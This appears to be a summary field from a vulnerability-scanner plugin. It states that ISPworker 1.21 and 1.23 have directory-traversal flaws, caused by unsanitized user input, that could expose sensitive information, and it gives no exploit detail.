tag_summary = "ISPworker is prone to multiple directory-traversal vulnerabilities
because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to obtain sensitive
information that could aid in further attacks.

These issues affect ISPworker 1.21 and 1.23; other versions may also
be affected.";
